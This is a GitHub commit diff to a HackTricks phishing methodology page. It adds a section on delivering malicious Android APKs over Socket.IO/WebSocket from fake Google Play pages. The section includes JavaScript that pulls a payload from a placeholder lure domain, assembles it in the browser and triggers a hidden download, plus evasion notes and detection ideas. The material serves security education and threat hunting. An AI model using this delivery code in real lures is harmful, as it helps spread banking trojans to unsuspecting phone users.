Skip to content

Commit b5877a9

Browse files
authored
Merge pull request #1434 from HackTricks-wiki/update_Banker_Trojan_Targeting_Indonesian_and_Vietnamese__20250925_124652
Banker Trojan Targeting Indonesian and Vietnamese Android Us...
2 parents ea5b9fd + 995e3b9 commit b5877a9

1 file changed

Lines changed: 47 additions & 1 deletion

File tree

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

Lines changed: 47 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -222,6 +222,49 @@ public void onMessageReceived(RemoteMessage msg){
222222

223223
---
224224

225+
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
226+
227+
Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
228+
229+
Typical client flow observed in the wild:
230+
231+
```javascript
232+
// Open Socket.IO channel and request payload
233+
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
234+
socket.emit("startDownload", { app: "com.example.app" });
235+
236+
// Accumulate binary chunks and drive fake Play progress UI
237+
const chunks = [];
238+
socket.on("chunk", (chunk) => chunks.push(chunk));
239+
socket.on("downloadProgress", (p) => updateProgressBar(p));
240+
241+
// Assemble APK client‑side and trigger browser save dialog
242+
socket.on("downloadComplete", () => {
243+
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
244+
const url = URL.createObjectURL(blob);
245+
const a = document.createElement("a");
246+
a.href = url; a.download = "app.apk"; a.style.display = "none";
247+
document.body.appendChild(a); a.click();
248+
});
249+
```
250+
251+
Why it evades simple controls:
252+
- No static APK URL is exposed; payload is reconstructed in memory from WebSocket frames.
253+
- URL/MIME/extension filters that block direct .apk responses may miss binary data tunneled via WebSockets/Socket.IO.
254+
- Crawlers and URL sandboxes that don’t execute WebSockets won’t retrieve the payload.
255+
256+
Hunting and detection ideas:
257+
- Web/network telemetry: flag WebSocket sessions that transfer large binary chunks followed by creation of a Blob with MIME application/vnd.android.package-archive and a programmatic `<a download>` click. Look for client strings like socket.emit('startDownload'), and events named chunk, downloadProgress, downloadComplete in page scripts.
258+
- Play-store spoof heuristics: on non-Google domains serving Play-like pages, hunt for Google Play UI strings such as http.html:"VfPpkd-jY41G-V67aGc", mixed-language templates, and fake “verification/progress” flows driven by WS events.
259+
- Controls: block APK delivery from non-Google origins; enforce MIME/extension policies that include WebSocket traffic; preserve browser safe-download prompts.
260+
261+
See also WebSocket tradecraft and tooling:
262+
263+
{{#ref}}
264+
../../pentesting-web/websocket-attacks.md
265+
{{#endref}}
266+
267+
225268
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
226269

227270
The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.
@@ -394,5 +437,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
394437
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
395438
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
396439
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
440+
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
441+
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
442+
- [Socket.IO](https://socket.io)
397443

398-
{{#include ../../banners/hacktricks-training.md}}
444+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)